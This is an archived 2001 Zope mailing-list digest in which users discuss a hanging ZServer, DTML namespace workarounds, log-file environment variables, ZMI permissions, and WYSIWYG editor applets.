http://www.zope.org/Members/mcdonc/HowTos/DEBUG-LOG/requestprofiler.py so people can make use of it before 2.4 comes out. Make sure to read the documentation it has available via the --help switch. You need to turn on "big M" logging (via the -M switch in z2.py) to have something which the script can parse and profile. - C ----- Original Message ----- From: "Will Dennis" To: Sent: Friday, May 11, 2001 2:30 PM Subject: [Zope] ZServer Must Be Continually Re-Started > Hello, > > I have the same (?) problem with a site running on our Zope server (Zope > 2.3.0) -- The site just hangs from time to time (the Zope processes are > still running, and not taking any more memory than usual, but ZServer is > not responding to GET requests.) A stop/start cures the problem (until > it happens again.) This site is a popular site, and gets spidered a lot, > so I wonder if it is a thread consumption problem. I have written a > Python script to monitor a Zope installation (authored it for just this > problem) that is available from my Zope.org page, > http://www.zope.org/Members/willdawg . > > I'd love to know why this occurs, if someone figures it out... > > Thanks, > > Will Dennis > P-Wave, Inc. > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From augusto@artlover.com Fri May 11 20:39:27 2001 From: augusto@artlover.com (Ausum) Date: Fri, 11 May 2001 14:39:27 -0500 Subject: [Zope] Namespace problem with folders starting with numbers References: Message-ID: <3AFC3FEF.F63C5189@artlover.com> Thank you, Sean. Yes, eventually using enables me to reach the property value, by placing a method (using your logic), at the same folder where it finds a folder with numbers as names. That means I'd need at least three methods, but guess this isn't a clean way of retrieving simple property values. How does the community faces this? Do you just don't use numbers as folder names? Ausum sean.upton@uniontrib.com wrote: > > Ok. Sorry to jump to quickly on that one; I am partially wrong. > > will work; so will expr="_['2000'].objectValues()"> (returns a sequence). > > However, in the case of something like this: > > > Zope has some security/permissions issue with that (when I try to run a > method with code like this as a manager, I get a basic auth box?). I assume > that the workaround would have to be using dtml-with one namespace at a > time... > > That is, unless someone has a better way to do this. > > Sean > > -----Original Message----- > From: Upton, Sean > Sent: Friday, May 11, 2001 8:50 AM > To: 'Ausum'; zope@zope.org > Subject: RE: [Zope] Namespace problem with folders starting with numbers > > use: > > > > This sintax is invalid because there are object names that are starting with > numbers, within the Python expression. > > Is there a workaround? (I've tried the usual ones, unsuccessfully). > > Ausum > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From craig.dunigan@esker.com Fri May 11 20:38:05 2001 From: craig.dunigan@esker.com (Dunigan, Craig) Date: Fri, 11 May 2001 14:38:05 -0500 Subject: [Zope] log files Message-ID: Hi Fritz, > is this the only way to use stupid_log_files? > > " > $ python1.5.2 z2.py ZSYSLOG_SERVER="syslog.mydomain.com:514" \ > STUPID_FILE_LOGGER=var/Zope.log" > " > > i got this from: http://www.zope.org/Documentation/Misc/LOGGING.txt > or can i put this in a config file? i looked inside z2.py and > found no place > to put it. > Well, sort of. First of all, as noted here http://lists.zope.org/pipermail/zope/2000-February/103384.html, STUPID_FILE_LOGGER is incorrect (somebody really ought to fix that). The correct environment variable name is STUPID_LOG_FILE. Secondly, I'm not sure it makes sense to turn on both local and remote logging as (it seems to me) this example does. I'll address the local logging, since that's the only one I'm sure of. Since you don't want to turn it on all the time (eats up resources and slows down your production server), the best way to enable it is to set this environment variable somewhere, like perhaps your ./start script, something like: #! /bin/sh reldir=`dirname $0` PYTHONHOME=`cd $reldir; pwd` export PYTHONHOME STUPID_LOG_FILE=/$PYTHONHOME/var/Zope.log export STUPID_LOG_FILE exec /$PYTHONHOME/bin/python \ $PYTHONHOME/z2.py "$@" then when you want to start debug logging, run zope like this: ./start -D & For more logging options, there's also a -M switch for verbose logging in z2.py, with a nice (wow, brand new as I was writing this!) utility available here http://www.zope.org/Members/mcdonc/HowTos/DEBUG-LOG, for analysis. > what am i supposed to expect here? i tried the command line > approach but i > was looking for the file and i don't think it create the > file. or is it > gonna be create when the first error comes? You got nothing for two reasons. One, you followed instructions and unfortunately set the wrong environment variable. Two, you probably didn't turn on debugging by launching zope with the -D switch. Don't forget to background it with the &, because -D causes zope _not_ to detach from the console when starting. And at the risk of sounding repetitious, running a production site with the -D switch is not recommended procedure. Do it to collect information, then turn it off when you have enough. > > > Fritz Mesedilla > Systems Administrator > > Summit Interactive, Inc. > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > femalenetwork.com | candymag.com | fhm.com.ph | cosmo.com.ph > -------------------------------------------------------------- > -------------- > http://contemplation401.tripod.com +Basta > Ikaw Lord > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > Craig Dunigan Web Programmer Esker Software - Extending the Reach of Information mailto:craig.dunigan@esker.com Ph. 608.273.6000 Fax 608.273.8227 http://www.esker.com From dave@kovach.com Fri May 11 20:44:10 2001 From: dave@kovach.com (dave@kovach.com) Date: 11 May 2001 12:44:10 -0700 Subject: [Zope] manage permissions Message-ID: <20010511194410.3864.cpmta@c000.snv.cp.net> Each time I go to access the ZMI - it automatically logs in as annonymous user. Thusly, anyone who knows my site address and goes to /manage - can see the insides of my zope instance - though the annon. priveleges dont allow them to do anything. This wasnt happening when I first installed. Now, everytime from inside and outside my network its doing this... Anyone have any ideas how to fix?? Thanks David From sean.upton@uniontrib.com Fri May 11 20:54:36 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Fri, 11 May 2001 12:54:36 -0700 Subject: [Zope] Namespace problem with folders starting with numbers Message-ID: I would use the syntax that Oliver specified earlier: I think that will work... Sean -----Original Message----- From: Ausum [mailto:augusto@artlover.com] Sent: Friday, May 11, 2001 12:39 PM To: sean.upton@uniontrib.com; zope@zope.org Subject: Re: [Zope] Namespace problem with folders starting with numbers Thank you, Sean. Yes, eventually using enables me to reach the property value, by placing a method (using your logic), at the same folder where it finds a folder with numbers as names. That means I'd need at least three methods, but guess this isn't a clean way of retrieving simple property values. How does the community faces this? Do you just don't use numbers as folder names? Ausum sean.upton@uniontrib.com wrote: > > Ok. Sorry to jump to quickly on that one; I am partially wrong. > > will work; so will expr="_['2000'].objectValues()"> (returns a sequence). > > However, in the case of something like this: > > > Zope has some security/permissions issue with that (when I try to run a > method with code like this as a manager, I get a basic auth box?). I assume > that the workaround would have to be using dtml-with one namespace at a > time... > > That is, unless someone has a better way to do this. > > Sean > > -----Original Message----- > From: Upton, Sean > Sent: Friday, May 11, 2001 8:50 AM > To: 'Ausum'; zope@zope.org > Subject: RE: [Zope] Namespace problem with folders starting with numbers > > use: > > > > This sintax is invalid because there are object names that are starting with > numbers, within the Python expression. > > Is there a workaround? (I've tried the usual ones, unsuccessfully). > > Ausum > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From michel@digicool.com Fri May 11 20:57:35 2001 From: michel@digicool.com (Michel Pelletier) Date: Fri, 11 May 2001 12:57:35 -0700 (PDT) Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <989606626.9772.0.camel@locutus> Message-ID: On 11 May 2001, Bill Anderson wrote: > Well, technically speaking .. > o It is unnecessary because there are at least two other headers you > vcan sort on. > o it is redundant for the same reason 99% of the email users in this world have no idea how to filter mail, and they *don't want to know*. There's a reason why mail readers show only a minimal amount of headers, because that information is useless to anyone but the filtration-anal or a mail system administrator. Filtration is wonderful, I do it myself. But that visual information in the subject line that is "useless" to some is essential to most. -Michel From cduncan@kaivo.com Fri May 11 20:58:50 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 11 May 2001 13:58:50 -0600 Subject: [Zope] manage permissions References: <20010511194410.3864.cpmta@c000.snv.cp.net> Message-ID: <3AFC447A.D5E83504@kaivo.com> dave@kovach.com wrote: > > Each time I go to access the ZMI - it automatically > logs in as annonymous user. > > Thusly, anyone who knows my site address and goes to /manage - can see the insides of my zope instance - though the annon. priveleges dont allow them to do anything. > > This wasnt happening when I first installed. Now, everytime from inside and outside my network its doing this... Anyone have any ideas how to fix?? > > Thanks > > David > It sounds like your Anonymous role has the View management screen permission set somewhere (like at the root). Check it in the security tab of your root folder. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From renfro@tntech.edu Fri May 11 21:09:10 2001 From: renfro@tntech.edu (Mike Renfro) Date: Fri, 11 May 2001 15:09:10 -0500 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: ; from michel@digicool.com on Fri, May 11, 2001 at 12:57:35PM -0700 References: <989606626.9772.0.camel@locutus> Message-ID: <20010511150910.B5016@ch208d.cae.tntech.edu> On Fri, May 11, 2001 at 12:57:35PM -0700, Michel Pelletier wrote: > 99% of the email users in this world have no idea how to filter mail, and > they *don't want to know*. There's a reason why mail readers show only a > minimal amount of headers, because that information is useless to anyone > but the filtration-anal or a mail system administrator. I doubt the percentage of non-filtering Zope list subscribers is anywhere near that high (I realize that you're probably exaggerating). Second, even the minimal amount of headers most mail readers show by default (To:, Cc:) is enough to filter the lists out. Filtering on To: and Cc: drops maybe 1 [Zope] message per week into my regular inbox. Any way we could set up a poll restricted to mailing list members to see how many people really care about this subject one way or the other? -- Mike Renfro / R&D Engineer, Center for Manufacturing Research, 931 372-3601 / Tennessee Technological University -- renfro@tntech.edu From scott_list@mischko.com Fri May 11 21:15:12 2001 From: scott_list@mischko.com (Scott Chapman) Date: Fri, 11 May 2001 13:15:12 -0700 Subject: [Zope] WYSIWYG HTML applets to get rid of the textareas for HTML input? Message-ID: <3AFBE5E0.30249.B9A9EAA@localhost> I found a Java applet that allows you to edit HTML right in a web page, replacing a textarea with a WYSIWYG HTML editor. It occured to me that this would be a fabulous thing to use with Zope to do away with textarea inputs for HTML. Is anyone doing this? These tools are not free :-( but they are not very expensive either: Cross Platform (Java Applet) implementation of this. (This is the one I'm interested in): http://www.realobjects.de/index.htm?/english/editonpro_e.htm Windows tools that do this: http://www.ektron.com/ewebeditpro.cfm?doc_id=1035 http://www.mifo.com/comgistics.htm http://www.editlive.com/product/ How would you make Zope serve up a java applet without having to run Apache just for applet serving? How hard would it be to make Zope put this type of stuff in the management pages where ever a text box is currently used to grab HTML input? > >